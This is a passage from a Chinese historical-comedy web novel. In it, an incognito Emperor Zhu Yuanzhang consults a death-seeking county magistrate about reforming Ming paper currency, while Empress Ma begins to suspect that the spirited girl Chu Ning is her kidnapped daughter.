“刚刚妹子你说,徐彦祖可以解决这个问题?” 朱元璋想起刚才马皇后的话,目光不由一亮,可一想到徐彦祖那张欠揍的脸和其嚣张的行为,他就气的五脏六腑隐隐作痛。 可是他早就在徐彦祖和马皇后面前放话要治徐彦祖的罪,甚至刚才还发誓回京之后立马派人抄徐彦祖的家,砍徐彦祖的头。 如今话都已经说出口了,朱元璋虽然心中懊悔,可他身为皇帝,说出去的话就如同泼出去的水一般,哪有往回收的道理。 他不要面子的吗? “大明宝钞的问题就是徐彦祖最先发现的,他之所以不收大明宝钞,就是为了避免以后出现这个问题,到了那个时候他手中的宝钞就花不出去了。” 马皇后点点头回道。 随即,她看向朱元璋劝解道:“重八啊,你就去和徐彦祖认个错,宝钞的问题不就迎刃而解了吗?” 闻言,朱元璋先是一愣,而后气愤道:“妹子你说,这徐彦祖明明是有本事的人,也知道宝钞的问题所在。但他就是不直说,非要和咱对着干,甚至还当着咱的面行那等狂妄荒唐之事,你说咱能不发火吗?” “现在你还让咱去给他认错,不去不去!咱说什么也不去!” 朱元璋重重挥袖,极为的不情愿。 他可是大明的开国皇帝,怎么能一而再再而三给徐彦祖一个小小的知县认错,就算要认错,起码徐彦祖也应该主动递个台阶才行。 可是这徐彦祖,左一个直呼其名,又一个不懂经济,把他贬的一文不值,简直是岂有此理! 见状,马皇后哪里还不知道朱元璋这是拉不下面子。 不过身为枕边人,马皇后自然也知道该如何规劝朱元璋。 她浅浅一笑,上前安抚道:“陛下,你是一代明君,更立志要让大明繁荣远超其他朝代。如今只需要将宝钞的问题解决,今后世人莫不歌颂于你,而那史书上更是只会记载你的功绩!” “更何况,如今徐彦祖只是不知道你的身份,才敢对你不敬。也正是因为如此,就算你对徐彦祖认错,这件事情除了你我几人还有谁知?日后晾他徐彦祖找到你我身份后也不敢在外宣扬此事。” 马皇后晓之以理动之以情,先是夸赞朱元璋的功绩,给他戴上高帽,描绘世人今后对他的评价和赞赏。 随后又从实际出发,告诉他就算和徐彦祖认错也不会丢了面子,没有人知道的事情自然也就不存在。 这一套组合拳下来,朱元璋的脸色总算缓和下来。 这世上,能劝动朱元璋的,也就只有马皇后了。 并且,马皇后此番言论,也算是给朱元璋递了一个台阶,他头颅高昂,负手而立道:“既然如此,为了我大明的未来,那我明日就再去会一会徐彦祖。” 第二十七章 金银本位 次日一早,徐彦祖躺在县衙的太师椅上,眯着眼嘴里哼着小调:“今个老百姓,是真呀真高兴~” 然而下一秒,他就感觉阳光突然暗了下去,徐彦祖那惬意的神情也消失不见,他边睁眼边嘟囔道:“昨天晚上不是有星星吗?怎么天色这么快就暗了,莫非要下雨不成?” 可徐彦祖睁开眼一看,哪里有什么乌云,有的只有朱元璋那带着笑意的脸。 徐彦祖瞬间大喜,一个弹射起步就行太师椅上纵了起来。 他紧紧拽住朱元璋的手问道:“是不是今天打算来抓我了?是不是要把我押送回京治罪了?你快来,我已经等不及了!” 徐彦祖将双手伸到朱元璋的面前,迫不及待等着朱元璋下令让人给他戴上镣铐。 朱元璋深深吸了一口气,他实在不明白,徐彦祖就这么想死? 他还是第一次见有人上赶着让自己治罪的。 不过,朱元璋这一次可不是来治罪于徐彦祖的,相反,朱元璋不仅不对徐彦祖治罪,甚至还打算虚心请教徐彦祖。 只见他朝着徐彦祖拱手俯身,满脸赔笑地说道:“徐知县,徐大人!嘿嘿嘿嘿嘿……” 徐彦祖看着朱元璋那比哭还难看的笑意,顿时打了个寒战,连忙说道:“哇你笑得比哭还难看,我求求你有事说事行不?” 朱元璋仍旧满脸笑意。 “昨日是咱唐突,在未知实情的情况下差点酿成大错,还请徐知县不要放在心上!” “不是,你又来?” 徐彦祖心中暗道不妙,朱元璋这般认错的态度太可太熟悉了,他好不容易激怒了朱元璋,怎么翻过身就来跟自己赔礼道歉了。 这年头钦差都这么大度的吗? 徐彦祖环顾四周,并未看到马皇后的身影,他试探性的问道:“朱大哥,哦不,朱钦差,不知夫人今天何在?” 朱元璋有些意外,他没想到徐彦祖竟然会询问马皇后的踪迹,不过还是如实回道:“我家夫人一大早就和褚姑娘去其他种植基地找女儿了。” 徐彦祖微微颔首,心想怪不得一大早就没听见褚宁那呜呜渣渣的声音。 既然马皇后不在,那这一次岂不是没有人在安抚这个朱大善,他只需要激怒朱大善,一样可以获罪。 想到这里,徐彦祖当即有了想法,既然你不抓我,那我就逼你抓我! 他先是对朱元璋问道:“朱钦差,你身为朝廷命官,深得陛下形容,在外是不是要秉公执法,维护陛下威严?” 虽然疑惑徐彦祖这是玩的哪一出,但朱元璋还是点头。 “既然如此,那我昨日践踏拒收宝钞,早就犯了律法,更是言语间指责甚至辱骂当今圣上,口出狂悖之言,更是重罪,那你为何不缉拿治罪于我?” “莫非……你也和我一样,罔顾藐视当今圣上?你对得起陛下对你的信任吗?” 徐彦祖这话,倘若换作一般的官员来,势必会直接将徐彦祖治罪,可站在他面前的是朱元璋,解释权就在他的手里。 因此,朱元璋轻笑一声说道:“陛下胸襟如海,何况徐知县又事出有因,再者说不知者无罪,陛下尚且不知道徐知县你说的话,又如何治罪于你呢?” 此言一出,徐彦祖立刻傻眼了,且不说朱元璋哪门子的胸襟如海,就说不知者无罪也不是这样解释的吧! 殊不知,朱元璋早已经看透了徐彦祖的想法。 在他看来,徐彦祖之所以这样做,完全是为了这大明的百姓! 为何,因为徐彦祖人言轻微! 徐彦祖知道大明宝钞的弊端,但是徐彦祖靠自己无法解决,因此只能用这样的方法做无声的抗议,只能管辖好治下的松阳县。 甚至不惜激怒自己这个所谓的钦差大臣,也只是为了想要去面圣而已! 毕竟依照惯例,凡是对宝钞有异议者,自己都会亲自过问然后定罪。 “果真是爱民如子的好官啊!” 朱元璋不禁感叹。 “放心吧徐彦祖,我向你保证,陛下绝对不会因为宝钞的事情降罪于你!” 徐彦祖愣住了,他不明白这个朱大善到底脑补了一些什么,但是他知道一点,自己求死的想法算是彻底泡汤了。 甚至,朱元璋还拍着胸脯对徐彦祖保证道:“徐知县你放心,咱今天就是专门来请教你的,不管你说什么咱都不会生气!” 此言一出,徐彦祖只感觉天都塌了。 毁了! 一切都毁了! 他两眼一黑,直挺挺的倒在太师椅上。 “徐知县?徐小兄弟?你没事吧?” 这可把朱元璋吓了一跳。 徐彦祖摆了摆手,他算是看明白了这个朱大善今天当真是虚心请教来了,自己就算拿出朱元璋压他,他也不治自己的罪。 这也让徐彦祖顿觉无趣。 他摊靠在椅背上,懒洋洋般问道:“说吧,今天来找我有什么事?” 朱元璋闻言顿时一喜,他连忙凑近徐彦祖亲切的问道:“徐小兄弟,我听说你有解决宝钞隐患的办法,可否不吝赐教?” 徐彦祖斜睨了朱元璋一眼,他一猜就知道朱元璋是为此而来。 而且徐彦祖认为,朱元璋之所以前后变脸这么快,很有可能是为了彻底解决大明宝钞的问题后在卸磨杀驴。 真是阴险! 徐彦祖在心中暗骂了一声,不过很明显,在解决完大明宝钞的问题前,朱元璋是不会动自己的。 想到这里,徐彦祖无奈道:“看来要先把问题解决才行了。” 为了自己的求死大计,徐彦祖只能耐着性子对朱元璋问道:“朱大哥,你知道什么叫金银本位吗?” 话才说出口,徐彦祖就摇摇头道:“算了,你肯定不知道,我先给你介绍一下吧。” 朱元璋挠了挠头讪讪一笑,他的确不知道什么叫作金银本位。 “所谓的金银本位,其实就是将货币的价值与一定数量的黄金白银挂钩,换成通俗易懂的话来说,就是这大明宝钞,必须能够换取同等价值的黄金白银。” “而现如今,想要解决大明宝钞的问题就是这金银本位制度。” 徐彦祖对朱元璋解释道。 闻言,朱元璋面色一沉,其实制定大明宝钞的初期,他也想过将三者画上等号,可问题的关键在于大明不管是金银还是铜铁,储量都不算高,也正因为如此他才会效仿宋朝的纸币交子,在大明推广宝钞。 第二十八章 马皇后的发现 “可是徐知县,大明金银铜的产量并不高,倘若与宝钞挂钩,大明的金银储备,完全不足以支撑那么大的消耗。” 朱元璋无奈摇头。 徐彦祖眼皮轻抬,诧异的看了一眼朱元璋,他没想到后者居然还能看到这一点。 这确实是个问题。 其实以华夏千年积累,即使不算盛产,到了大明朝按理来说也是不该缺金银的。 可架不住历朝历代里出了个败家子。 两宋时期光是给辽金西夏的白银岁币就高达4000万两,还不包括黄金和绸缎。 而元朝打下华夏土地,大肆搜刮财富,又无限制扩张,导致大量真金白银消失在征伐的路上,以至于元朝灭亡时,甚至没能搜出多少财富。 到了朱元璋这个时期,全国上下都得紧巴巴地过日子。 不过既然他提出来了,那自然就有解决的办法。 “朱大哥你说的没错,大明如今金银铜铁的产量的确不高,可短时间内足以应对宝钞的换取,更何况想要彻底消除宝钞的隐患,仅仅和金银挂钩可还不行。” 徐彦祖缓缓起身,想要拯救大明宝钞,从他来到大明开始,就在思考这个问题,到如今已经有了不少想法。 眼前这朱大善是朝廷派下来的钦差,自己或许可以借他之手将治理大明宝钞的办法传递给朱元璋,也算是在死前为着大明的百姓做了一件好事。 想到这,徐彦祖伸出四根手指对其说道:“想要彻底解决宝钞的问题,可以分为四点!” “其一,朝廷要给宝钞背书,让百姓对宝钞有信任度,同时开放宝钞和金银还有粮食之间的兑换。” 朱元璋闻言微微颔首,开放兑换的确可以让宝钞拥有公信度,但说来说去还是老生常谈的问题,大明的金银铜铁储备严重不足。 但下一秒,朱元璋就猛然惊醒,他抓住了徐彦祖话语里的意思,现如今的大明资源确实不足, 可是用宝钞兑换粮食同样可行。 百姓不管是用宝钞还是用金银铜币,为的不还是填饱肚子,而粮食问题,只需要将松阳县的蔬菜种植基地在大明个州县府城推广,自然迎刃而解! 朱元璋心底火热,他连忙追问道: “徐知县,请问另外三点?” “其二,必须限制朝廷无节制的印钞来弥补赤字亏空,每年必须定制一个数字,超出之后就不能继续印钞,并且还要回收旧钞,最好五张旧钞回收可以兑换一张新钞。” 徐彦祖此言一出,朱元璋脸色顿时一变。 如今百废待兴,整个大明看似安定,实则到处都是窟窿,这个时候控制宝钞的发行量,财政瞬间就会紧张无比。 朝廷就如同一个巨大的机器,没有钱就无法运转。 而且对于徐彦祖所言的旧钞回收,朱元璋也很难理解。 当然徐彦祖也不打算解释,回收旧钞是为了减少市面上流通的劣币,这是为了长久的打算来考虑。 “剩下的两点才是解决宝钞隐患的关键!” “作为纸币,大明宝钞最怕的就是造假,因此必须提高宝钞的质量,杜绝伪造,这一点朝廷应该已经在想办法了。” “最后,则是必须将宝钞用作税收和朝廷开支。” 不等朱元璋继续开口询问,徐彦祖就如倒豆子一般将想法一股脑的说了出来。 朱元璋也随着徐彦祖的讲述眼睛越来越亮,作为大明宝钞的开创者,他对大明宝钞的理解无人能出其右,瞬间就理解了话里的意思。 “徐先生大才!” 朱元璋不禁感叹。 从徐小兄弟到徐知县,再从徐知县到徐先生,可见朱元璋对徐彦祖的敬佩之情一直都在增长。 同时,朱元璋也暗暗做了决定,必须提早回到京城,将宝钞的隐患彻底解决! “不过,徐彦祖这小子的确是个不可多得的人才,留在松阳县埋没他了,回去正好看看有没有什么适合他的官职,当个知县实在是太屈才了!” 与此同时,另外一边寻找女儿的马皇后不同于朱元璋的欣喜,她双目无神,心中无比哀伤。 今日马皇后和褚宁忙活了一早上,可是依旧没有任何消息。 “干姐,你别忧心,松阳县还有不少蔬菜种植基地,今天找不到我们就明天再继续去看,总有一天会找到的!” 褚宁坐到马皇后身边,本想伸手将马皇后揽在怀里,但想了想还是改成握住马皇后的手。 “干姐,只要你们得到的消息是真的,就一定可以找到女儿的!” 马皇后朝褚宁点点头,可脸上却挤不出一丝笑容,已经连续这么多天了,不仅仅是她和褚宁在找,锦衣卫那边同样也在找,可是到了今天,依旧没有任何消息传来。 倘若不知当真线索确凿,她都怀疑女儿究竟在不在这松阳县了。 见马皇后情绪低落,褚宁眼珠子一转,连忙说道:“干姐,要不我们去搓澡放松吧!” 不等马皇后开口,褚宁就将她拉到了女澡堂。 澡堂内,热气腾腾而起,马皇后感觉到了前所未有的放松。 “义妹,还得多谢……” 她偏过头看向褚宁,本想答谢一番,可下一刻就看到褚宁左肩上的黑痣! 这让她的声音瞬间戛然而止。 听到声音的褚宁回过头,见马皇后死死盯着自己,不禁疑惑道:“干姐,怎么了?” 褚宁的声音让马皇后立马回过神来,她连忙摇摇头,找了个借口糊弄道:“没事,就是第一次来这澡堂,有些不适应。” “正常,第一来的人都这样,习惯就好。” 褚宁摆了摆手,没有看出马皇后的异样。 殊不知,当她说话的时候,马皇后的目光一直都落在她的肩膀上,没有挪动半分。 一直等到搓澡结束后,马皇后的目光这才挪开。 “干姐,澡搓完了,要不要去按摩?” 褚宁将垂落的发丝拢起,穿戴好衣服后对马皇后相邀。 若是放在之前,马皇后当然不会拒绝,可现如今马皇后心乱如麻,她笑着摇头道:“妹子你去吧,我还有些事情要去处理,改日我在寻你。” 褚宁点点头,也没有追问。 等到离开澡堂后,马皇后并没有回酒店,而是直奔县衙而来。 当然,马皇后并不是来找徐彦祖和朱元璋的,她此行要找的人是主簿王海! 在等待王海的期间,马皇后也是愣神的看着屋外,脑子里一直出现褚宁左肩上的那颗黑痣。 “褚姑娘和我走丢的女儿年纪一般大,同样是八岁就被人伢子拐卖到了这松阳县,并且她的左肩上还有那颗黑痣,莫非!” “莫非褚姑娘真的就是我一直要找的女儿!” 第二十九章 褚宁的身世 马皇后这个猜测不可谓不大胆,可倘若仔细想想,却又有迹可循。 褚宁可以说是目前马皇后遇到最符合自己女儿特征的人了! 而想要进一步确认,自然就得需要询问这松阳县的主簿王海。 在大宅院中,除了一家之主外,最了解其他情况的肯定就是账房先生。 这放在县城之中也同样如此,要问谁对松阳县最为了解,除了徐彦祖之外,自然就是主簿王海。 马皇后足足等了一炷香的时间,连茶具中的水都换了几道,王海这才姗姗而来。 “郑夫人莫怪,实在是公务繁忙,脱不开身!” 王海没有落座,而是先行朝马皇后赔罪。 “无妨,王主簿请坐。” 马皇后摇摇头,同时感叹道:“这主簿一职当真辛苦,王主簿如此尽心尽力,理应有些奖赏才是!” “王主簿放心,回去之后我就和我家大人提上一嘴。” 这话让王海大喜,要知道马皇后对外可是钦差夫人的身份,让她在钦差耳边提一下自己,那岂不是平步青云! 不过,王海也不是傻子,正所谓无事不登三宝殿,马皇后一上来就说这样的话,明显是有事相求。 “夫人,不知今日找属下何事,属下能够办到的一定尽力去办。” 不管马皇后目的是什么,从之前马皇后愿意为徐彦祖仗义执言开始,王海对其的好感就直线飙升。 马皇后点点头,看向王海笑问道:“王主簿应该也从褚姑娘那里听说了我和她义结金兰的事情,我对褚姑娘的身世十分好奇,你也知道褚姑娘这跳脱的性子,当真是有些少见。” 王海撇撇嘴道:“就褚宁那丫头的性子,何止是少见,简直是举世难寻!” 不过,吐槽归吐槽,王海还是如实说道:“我见到褚宁的时候她不过才八岁,当时知县大人带着我抓了一批人伢子。” 说着,王海还惊奇的看了马皇后一眼说道:“如果我没有记错的话,那一批人伢子据说也是从应天府而来。” 从应天府而来? 马皇后瞳孔微微一缩,如此一来的话,褚宁是自己亲生女儿的可能性又大了一成。 想到当时的场景,王海也是重重叹了口气。 “褚宁这丫头才八岁,就被这些该死的人伢子给拐了出来,生在应天府,想必也是个大户人家的孩子吧,如果不是遇到知县大人,只怕这一辈子就这么毁了。” 马皇后眼底涌起一抹寒意,这些该死的人伢子! 不过当务之急,是先问清褚宁的情况,尤其是褚宁为何会变成如此这样的性格。 她连忙问道:“王主簿,那后来呢?褚姑娘她为何变成如今这般跳脱的样子?” 马皇后的询问让王海面露苦笑。 每每提起这个,他都十分无奈。 “这自然是因为知县大人。” 要说褚宁为何会变成如今这个样子,和徐彦祖绝对脱不了关系。 “因为徐知县?” 马皇后不禁一愣,在她的眼中,徐彦祖博学多才,为国为民,怎么会和徐彦祖有关系。 王海点点头哭笑不得道:“当然是因为知县大人,一开始褚宁这小丫头娴静端庄,知县大人便打算教她文学知识,不过在此期间,褚宁生了一场大病,知县大人说褚宁这是被拐之后营养跟不上,身子骨弱,需得练一些武功强身健体,也能防身。” 当听到褚宁生了一场大病时,马皇后也是心头一紧,不过如今褚宁在徐彦祖手中也得到了良好的照顾她又放下心来。 随即,她疑惑道:“难道就是因为这个?” “对!就是因为这个!” 王海重重点头,声调猛然拔高了好几个度。 “自打褚宁开始学武之后,知县大人就发现她学武的天分要比学文强得多,书上的圣人之言褚宁三天都理解不了一句,可那些武学招式却是一看就懂。” “可自从褚宁开始学武之后,她整个人的天性就彻底释放出来了,而且近朱者赤近墨者黑,知县大人平时那些不着调的样子,全都被褚宁给学了去,甚至青出于蓝还胜于蓝!” 王海说到这里,也是欲哭无泪。 当初那个娴雅端庄的小女孩自此一去不复返了,取而代之的则是让松阳县所有匪类都闻风丧胆的混世魔王! 马皇后听到这里算是彻底明白了,怪不得褚宁的性子变化会这么大,原来是受到了徐彦祖的影响。 尽管马皇后觉得褚宁就是自己的亲生女儿,可现如今也没有任何的证据可以证明。 不过倘若褚宁真是自己走丢的女儿,身上必定会有一些信物或者凭证。 于是,她对王海问道:“王主簿,既然褚宁是被你们所救,不知道当时在褚宁的身上有没有什么信物和凭证?” 王海皱着眉头思索片刻后轻轻摇头:“夫人,时间越久过去了这么久,当初的事情我也不是太记得清了,何况倘若真的有信物,只怕也早就被那些人伢子给收走了。想要知道有没有信物的话,须得亲自去问他们才行。” “亲自去问他们?” 马皇后不由一愣,她不可置信的问道:“莫非那些人伢子没有被处死?” “处死?当然没有。” “像这般罪大恶极的人伢子,就这样直接处死他们未免太便宜他们了,知县大人将他们全都放逐到盐山之中劳作,直到他们干不动老死为止!” 王海推了一下眼镜,眼里闪过一道寒光,他的话语中带着一丝冷意。 徐彦祖的这个做法,无疑是要让那些人伢子一辈子都活在痛苦和悔恨之中,不过在王海看来,对于那些导致美满家庭破碎的人伢子来说,这样的刑罚一点都不为过,甚至还太便宜他们了! 哪怕是千刀万剐,也难解那些家庭的心中之恨。 “不愧是徐知县,这个办法可比直接赐死要好的多。” 马皇后也十分赞同徐彦祖的做法,她对于这些人伢子自然是深恶痛绝。 “知县大人说这就叫废物利用。” 王海轻轻一笑,徐彦祖这名字取得倒也名副其实。 马皇后微微颔首,事到如今褚宁的身世她已经全部了解,心中越发肯定褚宁就是自己的女儿! 第三十章 女儿的线索 寒暄两句后,马皇后便道别了王海。 她才刚起身离去,就再也难以掩盖心中的喜悦,甚至眼角还落下两滴清泪。 那是喜极而泣的眼泪。 来到松阳县折腾了这么几日,她原本都要放弃了,结果如今却柳暗花明又一村,这让她如何能不欣喜,如何能不激动! 马皇后用帕子擦了擦脸上滚落的泪珠,急匆匆朝酒店而去。 回到酒店后,朱元璋立马就看到了马皇后微红的眼角,他脸色大变,连忙上前关切的问道:“妹子,你怎么哭了,是不是有人欺负你!” “你告诉咱,咱这就让锦衣卫去砍了他的头!” 看着怒气冲冲的朱元璋,马皇后不由摇头她抿嘴一笑,解释道:“重八,没有人欺负我,我只是太高兴了。” 朱元璋十分疑惑,高兴怎么还红了眼眶。 见状,马皇后也没打算藏着掖着,直接宣布道:“重八,我有女儿的线索了!” “什么!” “妹子你说你有女儿的线索了!” 朱元璋瞪大了眼睛,他双手颤抖的扶着马皇后的肩膀,急促问道:“咱们的女儿在哪?” “咱们的女儿……很有可能就是褚宁!” 马皇后笑道。 “是褚宁姑娘?她是咱们的女儿!” 朱元璋有些诧异。 不过当马皇后将自己的见闻还有从王海那里了解到的情况说明之后,朱元璋神色立刻变得如同马皇后一般的欣喜,但随之而来的就是复杂。 一方面,褚宁和朱元璋有过矛盾,甚至还对朱元璋动过手,倘若褚宁真是他的女儿,那岂不是倒反天罡! 另外一方面,则是因为褚宁的性子太过于跳脱,甚至于大胆放肆,朱元璋很难想象要是褚宁摇身一变成为大明的长公主,这大明岂不是要被褚宁搅个天翻地覆。 俗话说三岁看大,七岁看老,十二岁定终身。 想到这里,朱元璋就不免有些头疼。 见朱元璋皱着眉头,马皇后瞬间就猜到了朱元璋的想法。 她目光锐利,对朱元璋沉声问道:“你不会是嫌弃褚宁吧?莫非你把那天家颜面看的比女儿还要重要?” 闻言,朱元璋面色一变,将头摇的如同个拨浪鼓一般。 “怎么会呢妹子,咱求之不得褚姑娘是我的女儿,更何况她之所以变成如今这个性格,一切都还是那些人伢子的错,只可惜那些人伢子死了,不然咱定要将他们碎尸万段以解我心头之恨!” 说到这些人伢子,朱元璋就开始咬牙切齿,眼中怒火几欲喷出。 马皇后拍了拍朱元璋的手背,安抚道:“重八,这些人伢子可没有死,徐彦祖把他们全都送到了矿山劳作,而且想要确认褚宁到底是不是我们的亲生女儿,还得从这些人伢子的口中问到消息才成。” “人伢子没死!” 朱元璋眼里骤然闪过一抹精光,随后厉声说道:“既然没死,那就好办了!” 随即又叹了口气道:“真是苦了这孩子了,咱们可一定要好好弥补她,我现在就派锦衣卫过去保护她的安全。” 闻言,马皇后连忙对朱元璋叮嘱道:“褚姑娘也不一定就是咱们的孩子,你先少安毋躁,在知道事情真相之前,我们都不能轻举妄动。” 朱元璋不免疑惑:“这是为何?” “因为褚姑娘如今的性格乖张跳脱,而且又和父母分别了那么多年,她到底对自己的父母有没有意见我们都不知道,万一她心中有所芥蒂,我们就这样上去相认,难免会引起她的反感。” 作为女儿又是母亲,马皇后比之朱元璋自然心思较为细腻,同时也考虑的比较周全。 “妹子你说得对,差点就让咱坏事了,不过安排两个锦衣卫暗中保护她的安全应该没问题吧。” 朱元璋点点头,但他知道褚宁有可能是自己的亲生女儿后,也有些放心不下。 马皇后摇摇头道:“还是别了,且不说褚姑娘的武艺比起那些锦衣卫只高不低,就说徐彦祖在这松阳县的威望,也不会有人会对褚姑娘不利,要是被褚姑娘发现我们派人跟踪她,之后对我们有所防备之后就更难接触了。” 朱元璋一想也是,索性打算静观其变。 然而一整个晚上,朱元璋都在床上翻来覆去睡不着,一想到褚宁有可能是自己丢失多年的亲生女儿,他就难以压抑住那股思念之情。 这也使得天才刚亮,朱元璋就迫不及待带着马皇后来到了县衙,想要让徐彦祖带两人去盐山找那些人伢子求证。 县衙内,徐彦祖还在做着美梦,和梦中的十八位小妾嘤嘤燕燕,可下一秒这些小妾那美艳的脸蛋竟然全都变成了一个胡子拉碴的大汉,而这大汉竟然就是朱元璋的模样! 甚至这些大汉对着徐彦祖张牙舞爪不知道在说些什么。 这可把徐彦祖吓得不轻。 “妈呀,哪里来的妖怪,竟敢在小爷我的面前放肆,吃我一脚!” 下一秒,徐彦祖就伸出自己那四十五码的大脚踢了过去。 紧接着,只听见哎哟一声,徐彦祖瞬间清醒。 他睁开眼睛一看,只见褚宁正捂着嘴偷笑,而一旁马皇后则是关切的给朱元璋揉着胸口。 “你们这?” 徐彦祖有些疑惑的挠了挠头,但他随即眼角看到了床头的亵裤,神色大变,连忙将被子裹紧把三人赶了出去。 等到徐彦祖穿戴好衣物走出房间时,他直接拽着褚宁的耳朵问道:“你大清早带人来我房间,是不是对我图谋不轨!” “说!你是不是想要谋害我好继承我的财产!” 徐彦祖满脸幽怨,他说怎么会做如此奇怪的梦,感情朱元璋就在他的房中。 “疼疼疼!” 褚宁使劲拍打着徐彦祖的手,然而挣脱开来。 她双手叉腰,没好气的说道:“就你那仨瓜俩枣,我才看不上呢,你赚的钱全都放在松阳县的账上造福百姓,一套衣服穿三年,像你这样的穷鬼,能够有什么财产!” 刚才被徐彦祖睡梦中踹了一脚的朱元璋,原本在看到徐彦祖揪褚宁耳朵的时候无比气愤,可当听到徐彦祖竟然将钱全都用在了百姓身上,脸上的怒气又瞬间消散。 第三十一章 怪异的朱元璋 不过,褚宁毕竟有可能会是自己的宝贝女儿,他可不愿意让徐彦祖这样对待自己的宝贝女儿,哪怕褚宁这些年来都是徐彦祖一手带大的也不行! 因此,他在后面默默说道:“男女授受不亲,褚宁姑娘又是小孩子,徐知县你还是注意点分寸为好。” 此言一出,徐彦祖和褚宁纷纷回头望向朱元璋。 看着朱元璋那副认真严肃的表情,徐彦祖点了点头。 可一旁的褚宁却不乐意了。 朱元璋的话明明是为了褚宁好,但在褚宁的眼中,却是朱元璋在指手画脚,在破坏她和徐彦祖之间的感情。 褚宁冲朱元璋扬了扬拳头,威胁道:“你个老壁灯,管好你自己就行,我怎么做不需要你指手画脚,要是再敢多嘴,我就……” 兴许是看到马皇后不悦的神色,想到自己和马皇后义结金兰,褚宁冷哼一声不再理会朱元璋。 然而这可把朱元璋气的不轻,他手哆嗦着指着褚宁,回头望着马皇后,那眼神中就一个意思。 【妹子!你看她!】 马皇后无奈摇头,站在朱元璋的立场上,他这话是出自一位老父亲对女儿的关爱。 可褚宁目前并不知道自己有可能是他们的孩子,自然会反感朱元璋说的话,加之先前两人还有矛盾。 想到这,马皇后突然感觉有些头疼,在确认褚宁的身份之前,还得先消除朱元璋和褚宁之间的矛盾才行。 不过马皇后目前也没有办法,只能走一步看一步了。 察觉到气氛有些不对劲,徐彦祖立马出了打圆场,他看向朱元璋问道:“朱大哥,今日这么早前来找我,所为何事?” 朱元璋闻言,先是赞许的看了徐彦祖一眼,随后连忙说明来意:“徐小兄弟,我们听闻附近有一座盐山,想去看看。” 徐彦祖倒是不疑有他,朱元璋对盐山感兴趣那是正常的,为了防止私盐泛滥,大明对盐矿的管制非常严格。 何况,朱元璋他们还有一层皇商的身份,有了这层身份,就可以参与到盐业的买卖之中。 更何况,这又何尝不是一个机会! “盐业是大明朝的命根子,我还不愁找不到机会寻死吗?” 徐彦祖嘴角上扬,暗暗想到。 于是,徐彦祖点头应道:“那我和褚宁一起带你们去盐山看看。” “我也要跟着去?” 褚宁指着自己鼻子问道,一脸的不情愿。 徐彦祖立刻板着脸说道:“你没空就老往盐山钻,整个松阳县最熟悉盐山的就是你,你不去带路谁去!” 闻言,朱元璋马皇后两人不由面面相觑,心情激动。 盐山是人伢子劳改的地方,褚宁一直往那边跑只有一个可能,那就是去打探自己亲生父母的消息。 徐彦祖发话,褚宁纵使不愿意,也只能带着众人前往盐山。 相较于松阳县其他主干道那平整的道路来说,前往盐山的路越往后就越崎岖狭窄。 马车行驶到一半就无法通行,众人只好下车步行。 然而刚一下车,朱元璋就凑到了褚宁的跟前。 “干嘛?” 褚宁警惕的看着一脸带笑的朱元璋。 朱元璋提了提手上的糕点,笑道:“褚姑娘,这一路舟车劳顿,你应该饿了吧,要是渴了车里还有茶水。” 褚宁顿时瞪大了眼睛,她满脸不可置信的看向马皇后。 马皇后也是一脸无奈,都说女儿是父亲的掌上明珠,要说最宠女儿的肯定是父亲,这话说的可一点没错。 如今朱元璋都还不确认褚宁就是自己的亲生女儿,就已经将大半心思放在她的身上了。 要知道这些糕点茶水,都是出发前朱元璋命人提前准备好的。 为了给朱元璋打掩护,不让朱元璋露馅,马皇后只能解释道:“妹子,你朱大哥这是替刚才的事情跟你道歉,不必多想。” 褚宁狐疑的看了两人一眼,她总觉得事情没有那么简单,因此她摇摇头,拒绝了朱元璋的好意,随后更是往徐彦祖身边靠了靠。 朱元璋干笑两声,回到了马皇后身边。 “重八,你这么急躁作甚,现如今还不知道褚姑娘是不是我们的女儿,你这么热情等下把孩子给吓到了!” 马皇后白了朱元璋一眼,前面几天不见他过问女儿的消息,只知道找徐彦祖的麻烦,如今却猴急的恨不得当场把褚宁认下。 朱元璋挠挠头,解释道:“咱这不是怕咱女儿受委屈,你想她那么小就被人伢子从应天府被拐了,这些年来肯定是吃了不少苦,咱不得好好补偿一下她。” 闻言,马皇后微微一叹,这还没证实身份呢,朱元璋就把褚宁当作自己女儿看待了,早知道她就先瞒着朱元璋了。 有了这个小插曲后,马皇后也是一直跟在朱元璋身旁寸步不离,生怕朱元璋做出什么让褚宁反感的事情来。 然而百密终有一疏,这一路来朱元璋都没有在接近过褚宁,就在马皇后松了口气的时候,褚宁却突然踩到一颗石头踉跄了几步。 下一秒,马皇后只感觉身边传来一阵风声,朱元璋直接冲到了褚宁的身边,扶住了褚宁的手臂。 这让马皇后脸色瞬间一变,心中暗道:“完了!” 果不其然,朱元璋那关切的声音随即响起:“褚姑娘,你没事吧?有没有闪到腰?” 闪到腰? 褚宁眼神古怪,她不过就是走路分心了一下而已,何况她乃是学武出身,怎么可能会因此闪到腰,反倒是朱元璋的这番嘘寒问暖让她有种闪了腰的感觉。 试问一下,当你面前出现一个陌生大叔对你嘘寒问暖的时候,你的第一反应一定是这人图谋不轨。 褚宁自然也是这么想的。 尤其是朱元璋的手一只扶着她的胳膊,另外一只扶着她的腰肢。 那腰间传来的温热加上那关切的话语,让褚宁无比羞愤! 她顺手就拽住朱元璋的胡子,气势汹汹的问道: “他娘的!姓朱的,你给我老实交代!你是不是在会所的老毛病又犯了,这一路上你已经盯着我看好几次了,你别以为我不知道!” “你个老不死的老杂毛!打鬼主意打到姑奶奶身上了?我看你是皮松欠收拾了是吧?” 第三十二章 睹物思人 “没有,绝对没有!” 朱元璋连忙否认,他对褚宁是关切爱护之心,怎么能跟在会所时一样呢? 然而这话在褚宁眼中可没有什么可信度,她使劲拽着朱元璋的胡子,扬起那馒头大小的拳头就要往朱元璋的脸上揍去! 可褚宁的拳头还没有接触到朱元璋的脸,就看到朱元璋流出了两行浑浊的眼泪。 这可把褚宁吓了一跳,他何时见过这样的阵仗,一个年过半百的人在她面前流泪。 褚宁连忙松开手,将双手高高举起解释道:“我可没有揍你,只是拽了一下你的胡子而已,你可不要赖上我,要碰瓷也不是你这样碰的!” 说完,褚宁小跑到徐彦祖身后,只探出一个脑袋看向朱元璋。 朱元璋没有说话,只是伸着袖子将脸上的泪水抹去。 徐彦祖则是看向一旁神色异常的马皇后问道:“郑大姐,朱大哥他这是?” 马皇后眼眶也微微发红,她重重叹了口气,说道:“你朱大哥他这是想孩子了。” “想孩子?” 徐彦祖回头看了一眼褚宁,回想着朱元璋今日那些不对劲的地方,这朱元璋不会把褚宁当作他的女儿来看吧? 